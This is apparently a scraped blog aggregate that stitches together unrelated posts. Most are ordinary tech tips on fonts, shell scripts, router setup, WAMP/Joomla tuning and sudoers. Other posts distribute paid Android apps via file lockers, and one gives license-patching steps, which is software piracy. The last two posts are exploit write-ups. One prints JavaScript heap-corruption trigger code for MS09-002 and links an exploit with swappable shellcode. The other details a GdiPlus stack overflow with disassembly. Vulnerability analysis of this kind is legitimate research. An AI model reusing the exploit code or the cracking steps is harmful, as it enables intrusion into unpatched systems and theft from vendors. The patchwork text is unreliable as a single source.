9 Temmuz 2012 Pazartesi

Rupee Symbol Font Download

To contact us Click HERE
Hi Friends,

We have the Rupee Symbol font 2.0 out by Foradian Technologies!
Download & start using immediately so that its adopted by everyone faster :-)

Blog Post: http://blog.foradian.com/rupee-font-version-20
Download Font: Rupee Font.ttf

The first font was created by Souymadip. Checkout his creation at: Rupee Font
Download Font by Souymadip: Rupee.ttf

Presently it is not incorporated in Unicode, so it will not be visible without the font.
Adopt & spread the word :-)

Keywords:
Rupee Symbol, Rupee Font Download, etcRelated Posts : Misc Info

Shell Script to monitor Virtual Bytes for Sawserver & NQSServer

To contact us Click HERE
Hi Friends,

I was troubleshooting gradual increase in physical memory consumption for Sawserver & NQSServer in our environment.

One requirement was to observe the gradual increase my logging the virtual bytes using a shell script every 5 minutes.

The command was simple: ps -ef -o vsz,pcpu,args | grep sawserver64

To automate it, i wrote a small shell script which will write the output of above command every 5minutes, until I kill the script execution:


If you go over the logic, i have wrote a never ending while loop which writes timestamp, virtual byte information for sawserver & nqsserver and included a sleep command to pause the execution for 5mins.

Customizable Sections:
1) You can add more processes to be monitored for Virtual Bytes.
2) Sleep time can be increase on decreased. It accepts input in seconds, i.e. 300=5mins

How to Invoke:
1)Make sure that the script has executable rights or do chmod 777 VirtualByteTrace.sh
2)Invoke the script in background mode: bash-$./VirtualByteTrace.sh &

Output:


Tested successfully on Sun Solaris 10 platform.
Hope this helps you for any other process as well :-)

Keywords:
OBIEE, Sawserver, Sawserver64, NQSServer, Shell Script, Unix, Solaris, OBIEE 10.1.3.4.1, etc

Configure DSL-2640T with Tata Broadband [Wired ADSL]

To contact us Click HERE
Hi Friends,

Its been a while since i have posted a new article!
Last week my friend got with him his old Dlink DSL-2640T ADSL 2+ Router from home town.

Now, my current setup with Tata Broadband (Wired ADSL) was with Broadcom ADSL Router tied to a Linksys Wireless Router WRT54GH (a pretty basic & decent wireless router).

We need WiFi badly as we house some 5 laptops (personal [Acer Aspire 3002 NLC, Toshibha A105-S4014] + office [All Dell M65 Precision]), plus latest smartphones like HTC HD, iPhone 3G & Nokia E63 all hungry to be connected over WiFi with social networking ;-)

DSL-2640T seems to be that one device which would have helped me eliminate my Broadcom + Linksys setup including some power conservation ;-)

But hold on!
Though it seemed to be a pretty straight forward setup...i.e. Remove my ADSL Line from Broadcom and plugin to DSL-2640T and switch it on, configure the PPPOE Settings...but it didn't turned out to be a dream run :-(

Two days down the line, i was still trying to play and configure it. Fed up i even started a discussion in India Broadband Forum to check out if these guys had any specific inputs!

From what i got from them was an vital tip! Run the router in a Bridge Mode and create a PPPoE Dialer in Windows to see if you can connect! This step is essential as it certifies that all your router settings are intact and working fine.

I tried this and soon it was clearer to me that somewhere my router settings were incorrect as i was not able to login from the Dialer created within windows in bridge mode :-(

After much dilemma, the setting to be corrected was ADSL Modulation Type! By default it comes with ADSL 2+, but somehow that was not working for Tata.

So lets sit down and configure this router!
STEPS
1) Remove the ADSL Phone Line input and plug it in to your DSL-2640T's ADSL Port
2) Start the router and wait for 2mins to boot up.
3) Use a Straight through or Cross over cable and plug its one end into 1st LAN Port of router and the other end to your machine.
4) Open a browser and type in the browser: 192.168.1.1
5) On the Username/Password prompt use: User-> admin Password-> admin
6) Now lets configure the settings specific to Tata Broadband as below:

For Tata Broadband (Wired ADSL), following are the final set of settings working for me:
WAN ATM VC SETTINGS [Found Under Home->WAN]
VPI=0 ,
VCI=32
WAN Settings: PPPoE/PPPoA
Username: Your Tata Broadband UserName e.g. dummy@vsnl.net
Password: Your Tata Account Password
Authentication Type: Auto
Connection Type: PPPoE LLC

Rest settings for WAN, leave it as default



ADSL [Found Under Advanced->ADSL] 
Modulation Type = ADSL (ITU G.992.2)  [Upload Speeds limited to 128kbps]

UPDATE 1st October 2010:
ADSL (ITU G.992.2) was not giving me the optimum upload speed as the Tata Supplied router easily gave me arould 300kbps of upload speed which is part of my Flash 384 Plan.

Played further around and found the below modulation to give the best optimum download and upload speed:
Modulation Type = ADSL2 (Multimode) [Upload Speeds upto 300kbps and above]
When you set this modulation up, it gets connected over modulation: ADSL_G.dmt.bis


7) Eureka! You are done with the router configuration. Now go to Tools Tabs-> System -> Hit Save and Reboot Button
8) Upon reboot, your ADSL LED on the router should be stable and ON
Status LED keeps blinking all the while which is normal.
9) Below are few post setup screenshots for your reference to show successful connected status:







If you are looking for Firmware Upgrades to your Dlink DSL-2640T, then below FTP Link points to European Firmwares released:

ftp://203.126.164.142/DSL-2640T/

Looking at the various folders, ftp://203.126.164.142/DSL-2640T/20091107 points to the last stable released firmware for DSL-2640T Europe i.e. back in 2009
For MEA Firmwares:
ftp://ftp.dlink-me.com/DLink_ME/ADSL/DSL-2640T/Firmwares/  [Very Slow]


Be very sure before flashing your firmware. Unless you dont face any issues, please do not flash it.

Hope this helps all Tata Broadband Users! :-)

Keywords:
DSL-2640T Router, ADSL, PPPoE, Tata Broadband, Firmware, WRT54GH, Dlink, Linksys, Cisco, Nokia E63, HTC HD, Acer, Dell, Toshibha, iPhone, Apple, etc.Related Posts : Misc Info,Step-By-Step Guide

WAMP child process exited with status 3221225477

To contact us Click HERE
Hi Friends,

Few days back i was playing with an internal setup of WAMP Server having Apache 2.2.11, PHP 5.3.0 & MySQL 5.1.36 deployed with Joomla 1.5.21 CMS.

The setup was on a Windows 64-bit AMD x86 environment, but i frequently had my Apache go down due to following error: "Parent: child process exited with status 3221225477"

A quick google & it pointed me that it should be related the associated MySQL dll. After going through various articles & bug reports, it made sense to try out one solution!

The solution was to copy libmySQL.dll available under mysql5.1.36\bin to my WINDOWS\system32 folder and then do a complete machine restart.

I did this & believe me there has been no single Apache shutdown reported due to this error :-)
Hope this helps all WAMP or XMPP deployers.

Keywords:
Apache, WAMP, XMPP, PHP, MySQL, Crash, etcRelated Posts : Apache,Joomla,MySQL,PHP,WAMP

Joomla PHP Fatal error: Out of memory

To contact us Click HERE
Hi Friends,

Few days back i was playing with an internal setup of WAMP Server having Apache 2.2.11, PHP 5.3.0 & MySQL 5.1.36 deployed with Joomla 1.5.21 CMS.

The first & foremost problem i faced on daily basis was a Apache Crash due to PHP Fatal error: Out of Memory!

Googling around pointed me to increase the memory allocated to PHP in php.ini by changing the parameter
; Maximum amount of memory a script may consume (128MB)
; http://php.net/memory-limit
memory_limit 128M
 
By default, PHP 5.3.0 has 128MB memory allocated. The error logs though pointed to a out of memory crash, it actually didnt have a memory availability issue.

I changed this to 256MB, 512MB & even 1024MB but all the time it crashed :-(
The official parameter description suggested that, if you set this up to -1, there wont be an upper limit capped for PHP.

My next setup test was to change it to -1
; Maximum amount of memory a script may consume (128MB)

; http://php.net/memory-limit
memory_limit -1

Well, i wasnt surprised as it still crashed!!
After much digging, i felt that Apache itself wasnt able to handle its memory well on Windows. Many articles i came across also suggested the same.

So in the quest of stablizing Apache on Windows, i started investigating this issue purely from Apache point of view.
An quick overview of mpm_winnt_module parameters on Apache.org suggested that i needed to have a couple of must needed configurations :-)
  1. ThreadLimit which has a default value of 2500 if not specified, was brought down to 1000
  2. ThreadsPerChild which has a default value of 64 needs to be increased as i had atleast a 500  concurrent user base, so this was changed to 500. Remember, ThreadLimit & ThreadsPerChild go in tandem. You cannot lower ThreadLimit value when compared to ThreadsPerChild.
  3. MaxRequestsPerChild which has a default value of 0, need not be changed as in Windows, we have one parent process managing the other child process which caters to multiple threads. No separate child process forking as possible on Linux/Unix deployments.
  4. KeepAlive should be turned ON. It is very necessary to avoid unnecessary new connections from the same client within a span of 1 minute. The timeout should be turned on with atleast 1 minute.
  5. KeepAliveTimeout which has a default value of 15secs needs to be changed to 60secs i.e. 1minute
  6. MaxMemFree is a directive available in Apache 2.2.x which allows us to specify upto how much free memory will be held by the Apache process without calling the free() function. When not specified this is considered as unlimited, which is generally not good for Apache deployed on Windows Platform as memory leaks are evident. I changed this parameter to 100 in order to force Apache release free memory frequently & avoid leaks. Remember this settings has direct impact to your webserver performance, but if you are seeing too many frequent crashes, this will definitely stabilize the system.
Thats it!
Putting above settings in place along with php memory limit to -1, i was successful in stabilizing the PHP Fatal error + Apache crashes.

Please note that extensive testing was done to arrive at this settings, hence be sure of your implementation requirements & sizing before adopting ;-)

Keywords,
Apache, WAMP, PHP, MySQL, mpm_winnt_module, Joomla, performance tuning, etc.Related Posts : Apache,Joomla,MySQL,PHP,WAMP

8 Temmuz 2012 Pazar

MED MNEMONICS Pro v1.0 Apk App

To contact us Click HERE

Requirements: Android 1.6+
Overview: Learn Med School topics faster with the well categorized archive of mnemonics, acronyms and interesting medical facts.

Learn Med School topics faster with the well categorized archive of mnemonics, acronyms and interesting medical facts.

'MED MNEMONICS Pro' has access to Mnemonics in all major disciplines of Medicine.

FEATURES
*Categorized Medical Mnemonics!
Makes it easier to zoom in and learn select topics at ease.

*Did You Know's!
Mnemonics are now more interesting with the many ‘Did You Know?' concepts attached with the mnemonics.

*Add to Favourites!
Loved a Mnemonic? Add it your 'Favourites' list.

*Search
Type in your keyword to get the list of related mnemonics.

*Share Mnemonics!
Share mnemonics with your Med School friends through Facebook, Twitter or Email.

*Read and Unread tagging
Green and Red tags denote Read and Unread mnemonics respectively.

*Updates
Updates will be rolled out every 3 months or earlier to include more mnemonics.
Next update: March 1st, 2012

Download Instructions:
http://www.MegaShare.com/3847520

GO Power Master v1.1 Final Apk App

To contact us Click HERE

Requirements: Android v2.1+
Overview: GO Power Master is a professional management tool represented by GO Dev team to help you monitor and save the power of your battery.

GO Power Master is a professional management tool represented by GO Dev team to help you monitor and save the power of your battery.

Characteristics:

1. Functional module management:
GO Power Master will decrease the power loss by managing the network, the radio, the brightness and other power consumed modules of your mobile phone

2. Running applications monitoring:
GO Power Master will help you to find out the most power consumed applications by precisely monitoring and analyzing the power consuming of every running application.

3. Smart power saving:
GO Power Master will smartly switch to the saving mode when the power is low or the time you set is reached.

4. Time statistics
GO Power Master will precisely calculate the time statistics for endurance, calls, video, audio, network and standby of your battery.

5. One-Touch Optimization helps you to lighten the load of your battery easily.

6. Modes help you to use the battery selectively and wisely.

7. The GO Power Master widgets provide you the way to handle the power quickly without opening the application.

8. More widgets, more functionalities with GO Launcher EX.

How to add the GO Power Master widgets?
- Long press the home screen, select “Widget” and select “GO Power Master (4*1)”. Make sure there’re enough spaces in your home screen.

- If you have already installed GOLauncher EX, you can use the cool GO Power Master GOWidgets with more functions and more effects.

Keywords: GO Power Master, Battery, Power, GOLauncher EX, GOWidget

Copyright © 2004-2012 3G.cn All Rights Reserved.
Less description »

Latest version: 1.1 (for Android version 2.1 and higher)

Download Instructions:
http://www.filesonic.com/file/PO1aSex

Mirror:
http://fp.io/4374c177/

File Expert v4.0.9 Apk App

To contact us Click HERE

Requirements: Android v2.1+
Overview: Powerful & Leading File Manager for Android - We have millions of users worldwide and still fast growing! Come and join us today!

File Expert is an ultimate app for managing your files and other resources which stored on your Android phone and tablets. Files can be stored on local SD card, local WiFi network, or cloud storage servers like Dropbox, Box.net, etc. Designed for both advanced and entry level users.

You also can use File Expert as a sharing server to share your files to your friends over WiFi network. They can use web browser, FTP clients, another phone that support Bluetooth to access your File Expert powered devices.

File Expert is also a full-featured root file explorer for advanced users.

File Expert should be your daily tool and it's FREE without any ADs!

File Expert has more than 6 millions of downloads and still fast growing everyday!

* All basic file operations - Copy, Paste, Move, Create and Rename your files and folders

* Clear and very easy to learn UI for most of users. Start work in just one second!

* FTP/HTTP Server - Share & Manage your files without a USB cable. Web management featuring a Windows style interface!

* Root access to system folders and files like Root Explorer. Remount /system to read write. Requires rooted phone

* Cloud Storage - Use one app to access various cloud storage services like Dropbox, Box.net!

* SMB, FTP, SFTP, FTPS, WebDAV and Bluetooth OBEX Client - Access your host computer from your phone

* Bluetooth - Full-featured Bluetooth capabilities include OBEX FTP, OPP

* NFC Support. You can use NFC-enabled phone to transfer files and apps.

* WiFi Send. Directly send files via WiFi between File Expert powered phones

* App Manager - Uninstall/Backup apps. Support silent operations if on rooted devices

* Archive manager - Create and decompress ZIP archive, Decompress RAR. You can view your ZIP/RAR/GZIP/TAR/TGZ/BZ file just like accessing a folder and directly decompress unique files and folders

* Thumbnails - supports jpg/png/mp3/mp4/3gp thumbnails

* Text Viewer

* Image Viewer - supports both local and remote folder

* Search SD card, perform operations on search results

* Help your player to play media that stores on SMB share (your player needs to support HTTP streaming). WE are the ONLY file manager that can directly open some types of videos over SMB network

* File Picker - Let FE to help you anywhere you want :)

* Theme support - Choose themes that you love for FREE!

* Many other very useful features are waiting for you to discover!

~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Why choose FE? Here are the reasons:
* No ADs and it's FREE
* Gives you almost everything you need to manage your phone's resources
* Acceptable performance
* Free technical support via email
* Clear User Interface, and most operations can be done only in touch
* The ONLY file manager that supports both PC 2 phone & phone 2 PC wifi file transfer and can directly play some videos and music via SMB
* Root access support
* Themes
* Cloud storage

Keywords and tags:
File Explorer File Manager HTTP FTP FTP Server File sharing APK App Manager File Expert SMB TXT reader file WIFI wifi sharing ES ES File Explorer Astro Astro File Manager File Picker Web Sharing WIFI File Explorer SwiFTP SD SD Card Files Copy Move Cut Paste Create Rename folders sharing files managing files file manager file operator top file manager best file manager File Manager Pro File Manager Advanced Free Root Explorer

Relevant Applications or competitors:
Astro File Manager; ES File Explorer; OI File Manager; File Manager; WIFI File Explorer

Our Goal:
We want to make File Expert the best file manager/wireless file sharing app on the Android platform

Any feature requests or bug reports, please send directly to my email. You can see my email address below. I will try my best to reply to every email I receive.

If you like FE, please rate it on the market to help more users find us.

Okay, that's all. Thank you for reading this very long description. FE has many features, so I have to write a long description for details.

IT'S TIME TO CHANGE! Enjoy!

Recent changes:
1. Fix an crash issue on 2.1 and 2.2 ROM when searching for files
2. Fix a crash issue when working with KDrive cloud storage
We have been nominated for Best App Ever Awards! Please help us to vote for File Expert!
Please go to here to vote:
http://www.bestappever.com/v/prod/
Thank you! Your support is the most important thing for us!
Less description »

Latest version: 4.0.9 (for Android version 2.1 and higher, supports App2SD)


Download Instructions:
http://www.filesonic.com/file/BdTvHzD

Mirror:
http://fp.io/8a694496/

The Night Sky v1.0 Apk App

To contact us Click HERE

Requirements: Android 2.1+
Overview: The Night Sky is a magical new app that enables you to identify the stars, planets, galaxies, constellations and even satellites you can see above.


#1 Selling magical app, The Night Sky, comes to Android! Prepare to be amazed!

★ LIMITED TIME ONLY - 75% OFF SALE

The Night Sky - Simply Magical

The Night Sky is a magical new app that enables you to identify the stars, planets, galaxies, constellations and even satellites you can see above. Just stand anywhere and hold your Android Phone or Tablet up to the sky and The Night Sky will display the names of the stars, planets and other objects you are able to see, just like magic!

Even if your view is obscured by clouds or daylight, The Night Sky app will know which stars, planets, galaxies, constellations and satellites are hiding from your view! You have to use this app to realize just how amazing it is!

The Night Sky does this by using your location data provided by the GPS and compass built in to your device. It then cross references your location data with its inbuilt map of the sky and overlays the stars, planets, galaxies, constellations and satellites names on your screen. It really is magical and will amaze you, and anyone you show it to!

So next time your gazing up in to The Night Sky and wonder the name of a star, planet, galaxy, constellation or even a satellite, just get out your Android Phone or Tablet and let The Night Sky app amaze your gaze!

The Night Sky is a #1 selling app because it really is simply magical!

Download Instructions:
http://www.MegaShare.com/3847545

GoldenDict v1.2.1 Apk App

To contact us Click HERE

Requirements: Android 1.5+, Rooted devices
Overview: This is the paid version, with no ads and unlimited dictionaries - try the free version first and make sure you like everything before purchasing!


GoldenDict is a multi-format dictionary program with reach formatting, colors, images and sounds. It fully supports a lot of popular dictionary formats. You can now carry all the dictionaries you want together with you on your Android device!

Supported formats:
* Lingoes .LD2 files
* Babylon .BGL files
* ABBYY Lingvo .LSD, .DSL, .LSA and .DAT files
* StarDict files
* Dictd files
* Hunspell .AFF/.DIC morphology files

Just copy those files on your SD card, in the GoldenDict directory!

Features:

* All content is shown in full formatting, with images and sounds. We don't compromise on quality.
* It's fast. It flies when you have a dozen of dictionaries, and can handle hundreds of dictionaries simultaneously fairly well, too.
* The program will understand your typing no matter how you do it - forget about diacritics, case or punctuation!
* In-program popup mode is supported. Configure your e-book reader to use "ColorDict 3" as your dictionary interface, and GoldenDict will pop up.
* Translating from clipboard is easy - just press and hold "Search" button on your device!

This is a full, paid version. It has no ads and can support an unlimited amount of dictionaries!

What's in this version:
1.2.1: Fix licensing problem on Nook Touch.
1.2.0: An option to disable zoom controls added. License checking has been completely reworked - continuous offline use should now be possible.
1.1.6: An additional directory for dictionary files can now be specified.
1.1.5: Ability to switch between recently used language pairs added.

Release note:
1. Install GoldenDict v1.2.1 and don't run.
2. Install GoldenDictPatcher (Thanks to Chelpa)
3. Run the Dict Patcher you need Root your phone, long press GoldenDict, choose Lucky Google Market Patch
4. Enjoy


Download Instructions:
http://www.filesonic.com/file/ObWH7Ei

Mirror:
http://www.slingfile.com/file/BG569DtVow
http://www.MegaShare.com/3848045

7 Temmuz 2012 Cumartesi

Joomla PHP/MySQL Performance Tuning

To contact us Click HERE
Hi Friends,

Few days back i was playing with an internal setup of WAMP Server having Apache 2.2.11, PHP 5.3.0 & MySQL 5.1.36 deployed with Joomla 1.5.21 CMS.
 
For a 500 user base below are Apache & MySQL Parameters for optimal Joomla Performance on a Windows Deployment:
 
Apache mpm_winnt_module
# WinNT MPM
# ThreadsPerChild: constant number of worker threads in the server process
# MaxRequestsPerChild: maximum number of requests a server process serves

ThreadLimit 1000
ThreadsPerChild 500
MaxRequestsPerChild 0
KeepAlive On
KeepAliveTimeout 60
MaxKeepAliveRequests 100
MaxMemFree 100


MySQL my.ini
key_buffer = 150M
max_allowed_packet = 1M
table_cache = 1000
sort_buffer_size = 1M
net_buffer_length = 8K
read_buffer_size = 1M
read_rnd_buffer_size = 768K
myisam_sort_buffer_size = 64M
basedir=D:/wamp/bin/mysql/mysql5.1.36
log-error=D:/wamp/logs/mysql.log
datadir=D:/wamp/bin/mysql/mysql5.1.36/data
query_cache_limit=1M
query_cache_size=32M
query_cache_type=1
tmp_table_size=32M
key_buffer_size=64M

These changes are tested & found be working at acceptable levels in my environment. Please consider your deployment sizing & other aspects before adopting above settings.

Keywords:
Apache, WAMP, PHP, MySQL, Performance, Tuning, etcRelated Posts : Apache,Joomla,MySQL,PHP,WAMP

Joomla LDAP Setup

To contact us Click HERE
Hi Friends,

Few days back i was playing with an internal setup of WAMP Server having Apache 2.2.11, PHP 5.3.0 & MySQL 5.1.36 deployed with Joomla 1.5.21 CMS.
 
Joomla provides a native LDAP Authentication plugin which can be enabled to connect to your LDAP directory for authentication. It can be found under your Joomla Admin Panel -> Extensions -> Plugin Manager -> Authentication - LDAP
 
In our environment we have Red Hat Directory Server providing us the directory services.
It supports bind & search kind of authentication over LDAP, so below are the settings needed to be done on the joomla authentication plugin
 
Host: ldaphost.domain.com
Port: 389 [Default, change it if you run on other port number]
Authorisation Method: Bind & Search
Base DN: dc=value,dc=value    [e.g. dc=domainname,dc=com]
Search String: uid=[search]     [Note, here uid is the attribute which stores user id. So in your environment you have userid as the attribute, then the correct value is userid=[search] ]
User's DN: [This should be blank & only used if you are using Authorisation Method as bind directly as a user. ]
Connect Username: uid=directoryadminusername,ou=directoryadminusergroup,dc=value,dc=value
[Notes:
uid - Is the attribute which stores user id. If you have userid as the attribute, the it should be userid=
directoryadminusername - This should be your LDAP Directories Admin user's id
directoryadminusergroup - This should be your LDAP Directory Admin user's group name
dc=value,dc=value - This should be similar to your Base DN ]
Connect Passwod: Specify the directory admin user password here
Map Full name: fullnameattribute [Specify the attribute within LDAP Directory which stores the full name]
Map Email: emailattribute [Specify the attribute within LDAP Directory which stores the email address]
Map Userid: useridattribute [Specify the attribute within LDAP Directory which stores the userid]
 
 


Note, once you enable the LDAP Authentication, any new user logging in will have an automatic user record creation within Joomla. So in essence, you should take off the "Register" link on the login form!

If you face issues while setting this up, then please ask in the comments section :-)
Enjoy!

Keywords:
Joomla 1.5.21, PHP, MySQL, WAMP, Apache, CMS, LDAP, etcRelated Posts : Apache,Joomla,MySQL,PHP,WAMP

IE8 - SBL-UIF-00296: You already have a web browser accessing the current web session.

To contact us Click HERE
Hi Friends,

With Siebel CRM recently releasing IE8 compatibility, one common issue faced on day one is
"SBL-UIF-00296: You already have a web browser accessing the current web session. Multiple browsers are not allowed to share the same web session"

No matter what you do, you are not able to open multiple Siebel instances in IE8!
Well, those who are new to IE8, there seems to be a session replication builtin which causes to replicate the session in the multiple instances you open causing Siebel to give the error.

The correct way to resolve this is to start a new IE8 Siebel Session using
a) File -> New Session or  [From IE8 UI]
b) iexplore.exe -nomerge   [Command line -nomerge option]

This way we explicitly instruct IE8 not to replicate session allowing us to open multiple Siebel instances.
Please remember that never open multiple Siebel instances in different IE Tabs! It is not supported and can cause a big issue with your data.


Hope this tip helps :-)

Keywords:
IE8, 8.0.0.8, 8.1.1.3, Siebel CRM, siebel crm,siebel customer relationship management,siebel solutions,siebel support,siebel support web,siebel systems, Internet Explorer, Session Replication, etcRelated Posts : SBAv7.8Guide,SBAv7.8Troubleshooting,SBAv8.0Guide,SBAv8.0Troubleshooting,Siebel 8.1

Dynamic Pricing - Siebel 8.1.1.x and above

To contact us Click HERE
Hi Friends,

Well, up to Siebel 8.0.0.x versions, we had to manually configure dozens of things to ensure that we successfully enable Dynamic Pricing (Complete Manual Instructions), but now that is no longer the case from Siebel 8.1.1.x and above versions :-)

Dynamic Pricing can now be enabled at a click of a button from:
Sitemap -> Administration - Pricing -> Pricelists -> Menu -> Enable Dynamic Pricing





Hope this tip helps!
Enjoy!

Keywords:
comparison pricing,competitive pricing,dynamic price,dynamic pricing,market pricing,price waterfall,pricer,pricing management,pricing strategy,product pricing,siebel crm,value pricingRelated Posts : SBAv7.8Guide,SBAv7.8Troubleshooting,SBAv8.0Guide,SBAv8.0Troubleshooting,Siebel 8.1

How to edit /etc/sudoers?

To contact us Click HERE
Hi Friends,

Well you must have come across various situations when you need to quickly edit the /etc/sudoers file for making changes.

Though it is not straight forward to open in an vi editor & edit it, below are time saving commands for Linux & Unix to quickly edit the same:

Linux:
bash-3.00$ sudo visudo

Unix:
bash-3.00$ /usr/local/bin/sudo /usr/local/sbin/visudo

VISUDO opens the /etc/sudoers file in a temporary editable mode, which can be changed and saved to reflect changes immediately.

Hope this tip helps :-)

Keywords:
Linux, Unix, Red Hat, Solaris, /etc/sudoers, vi, visduo, sudo, edit, etcRelated Posts : Linux,Unix

5 Temmuz 2012 Perşembe

Load: Class VncViewer.class not found

To contact us Click HERE
Hi Friends,

The other day I started to play around Oracle's new Virtualization product Oracle VM 2.2. Its pretty neat product with quick installation & no much hiccups.

The interesting part starts once you have Oracle VM Manager, the web-based tool to manage & deploy Guest VMs on the Oracle VM Server.

Since the entire offering is based out of Xen's Hypervisor & linux based, the remote console facility is leveraged using VNC.

If you already have deployed a new Guest VM using Oracle VM Manager and try to view its console, you will get an error as in the Java Applet Execution window.

Load: Class VncViewer.class not found

The simple reason being is the VncViewer.jar is missing due to which it fails to invoke VNC Viewer within the browser.  

To install follow below quick steps:

1) Get TightVNC RPM:
bash$ wget http://oss.oracle.com/oraclevm/manager/RPMS/tightvnc-java-1.3.9-3.noarch.rpm
2) Install the new downloaded RPM
bash$ rpm -ivh tightvnc-java-1.3.9-3.noarch.rpm

Once done verify if the VncViewer.jar file is created successfully under
/opt/oc4j/j2ee/home/applications/OVS/webapp1/Class

Thats it!
Restart your browser and login into Oracle VM Manager again to browse to the console successfully :-)

Keywords:
Oracle VM Server, Oracle VM Manager, Xen, Virtualization, Vmware, etc.
  Related Posts : Oracle VM

MS09-002 / CVE-2009-0075 Analysis

To contact us Click HERE
Alright, so we've been looking at the recent MS09-002 Memory Corruption Advisory released last week.

www.microsoft.com/technet/security/bulletin/MS09-002.mspx

We have provided a quick analysis of the vulnerability:

Initially, we call our global deconstructor to "prep" our memory for corruption. This method is used to clean up our allocated and potentially lost spaces of memory.

CollectGarbage();

Next, we pad the memory by creating a minimum of 256 image elements within an array. I found that anything less than 256 does not give us enough padding to leverage when our exception occurs. Most exploits are using between 512 and 1024 images.

var a1 = new Array();

for (var x = 0; x < 256; x++) {
a1.push(document.createElement("img"));
}


Then, we want to create a table header or table body for interacting with and start the interaction.

o1=document.createElement("thead");
o1.click;
var o2 = o1.cloneNode();
o1.clearAttributes();

Once again we're going to prep our memory for corruption here:

o1=null; CollectGarbage();

The fault is triggered when we free our memory that was allocated by our previously created table head or table body element and then begin overwriting our created element locations, finally calling our table for execution (o2.click). This results in adjacent heap corruption leading to code execution.

for(var x=0;x<a1.length;x++) {
a1[x].src=s1;
}
o2.click;


Our exploit begins with the typical heap spraying method, providing us with a reliable location for installing our stage-1 execution payload.

Our personal exploit has been trimmed up to speed up execution time. The shellcode can be replaced to do whatever you'd like.

blacksecurity.org/cve20090075.html.gz


- redsand

Microsoft GdiPlus EMF GpFont.SetData Integer Overflow

To contact us Click HERE
Microsoft GdiPlus.dll EMF GpFont::SetData Stack Overflow


Write up by redsand@blacksecurity.org
Credits to mIKEJONES for providing the .EMF Crash


An integer overflow has been found within the Microsoft Windows gdiplus.dll [0x4ED67060]

This vulnerability currently allows us to write 64 bytes of either NULL's to the stack or UNICODE characters we control, inadvertently overwriting our stacks return addresses as well as the stack canary. We’ve decided to call this the Microsoft GdiPlus EMF GpFont.SetData integer overflow.

One known vulnerable version of GdiPlus.dll is:
x86_Microsoft.Widnows.GdiPlus_6595b64144ccf1df_1.0.2600.5581_x-ww_dfbc4fc4


Below is our confirmed call stack after the stack overflow:

GdiPlus!GpFont::SetData+0xf6
GdiPlus!MetafilePlayer::AddObject+0x8f
GdiPlus!ObjectEPR::Play+0x1a
GdiPlus!GdipPlayMetafileRecordCallback+0x35
GdiPlus!MetafilePlayer::EnumerateEmfPlusRecords+0x66
GdiPlus!EnumEmfWithDownLevel+0x52
gdi32!bInternalPlayEMF+0x6b0
GdiPlus!MetafilePlayer::EnumerateEmfRecords+0xd7
GdiPlus!GpGraphics::EnumEmfPlusDual+0x27d
GdiPlus!GpMetafile::EnumerateForPlayback+0x686
GdiPlus!GpMetafile::Play+0x26
GdiPlus!GpGraphics::DrawImage+0x263


We decided to pull this up using a fancy version of OllyDbg and begin digging around. With that said, this is what we found:

You will note at address 0x4ECFFA33 MOV ESI,DWORD PTR DS:[EAX+14]
We control the value loaded into ESI. For this purpose we use a value greater than 0xFE000000. This integer can be located at the offset 0xC8 (200 bytes) within the given example.

Next you will see we are able to control the value loaded into ECX. For the ESI value of 0xFFFFFFFF (largest unsigned integer) we load the value of 0x16 into our register (for example: if value is 0xEEEEEEEE, our value becomes 0xDDDDDDF4 and becomes greater than 0x16 and is marked as an invalid image)
4ECFFA36 LEA ECX, DWORD PTR DS:[ESI+ESI+18]

This value is increased by 0x18 (24) bytes:
4ECFFA3A ADD EAX, 18

Then compared with a value offset of EBP, which is located on our stack. For this purpose the value stored in ECX is 0x16:
4ECFFA3D CMP DWORD PTR SS:[EBP+C],ECX

This means the jmp is not taken
4ECFFA40 JB gdiplus.4ECFFAC9

Our controlled value is compared with the hex value 0x20 (32)
4ECFFA46 CMP ESI,20

And this jump will also never be taken.
4ECFFA49 JBE SHORT gdiplus.4ECFFA4E

From here, we begin to setup our stack for the __stdcall calling approach to our function gdiplus.4ED67060

4ECFFA4B PUSH 20
4ECFFA4D POP ESI
4ECFFA4E PUSH ESI
4ECFFA4F PUSH EAX
4ECFFA50 LEA EAX,DWORD PTR SS:[EBP-44]
4ECFFA53 PUSH EAX

This is the function in which the stack overwrite actually occurs.
4ECFFA54 CALL gdiplus.4ED67060


Let’s step into our function gdiplus.4ED67060:

First we have a loop setup to go through our Unicode Font String (ARIAL) and copy it (letter by letter) to another location on the stack controlled by EDI. This approach would be the natural code execution process however after further review, we're able to determine we can utilize the length of the font name (ARIAL) and extend it to 32 total WORD bytes (since this is Unicode, that's 64 bytes total). This will eat up our allocated memory and will halt the need to zero out the rest of the buffer.
Stack corruption occurs either here or below.

4ED67069 XOR ESI,ESI
4ED6706B TEST ECX,ECX
4ED6706D JBE SHORT gdiplus.4ED6709C
4ED6706F MOV EDX,DWORD PTR SS:[EBP+C]
4ED67072 PUSH EDI
4ED67073 MOV EDI,DWORD PTR SS:[EBP+8]
4ED67076 MOV AX,WORD PTR DS:[EDX]
4ED67079 TEST AX,AX
4ED6707C JE SHORT gdiplus.4ED6708A
4ED6707E MOV WORD PTR DS:[EDI],AX
4ED67081 INC EDI
4ED67082 INC EDI
4ED67083 INC EDX
4ED67084 INC EDX
4ED67085 INC ESI
4ED67086 CMP ESI,ECX
4ED67088 JB SHORT gdiplus.4ED67076

Once our string copy has been completed, we check to see if our wide character string length of our font (ARIAL) is less than 0x20 (32) characters

4ED6708A CMP ESI,ECX
4ED6708C JNB SHORT gdiplus.4ED6709B


The length of our string (ESI) is subtracted into 0x20 (32) to get the remainder (0x1B if using just the font name ARIAL) and is left in the register ECX
4ED6708E SUB ECX,ESI

Here we clear our value for eax to make it zero
4ED67090 XOR EAX,EAX

Then we shift the value of our remainder 0x1B (27) right one position which leaves us with 0x0D (13)
4ED67092 SHR ECX,1

This is where our overflow occurs; EDI points to our stack just past the location where we copied our font string on the stack earlier.

4ED67094 REP STOS DWORD PTR ES:[EDI]


This is what our stack looks like at that location when we begin overwriting it with zeros.
0007E344 |7C900000 ..�| ntdll.7C900000
0007E348 |7C9101C0 À‘| ntdll.7C9101C0
0007E34C |FFFFFFFF ÿÿÿÿ
0007E350 |7C9101BB »‘| RETURN to ntdll.7C9101BB from ntdll.7C90E8E6
0007E354 |4EC5221F "Ã…N RETURN to gdiplus.4EC5221F from ntdll.RtlAllocateHeap

The rest below does not concern us as there is little we can leverage from this.

4ED67096 ADC ECX,ECX
4ED67098 REP STOS WORD PTR ES:[EDI]
4ED6709B POP EDI
4ED6709C POP ESI
4ED6709D POP EBP
4ED6709E RETN 0C

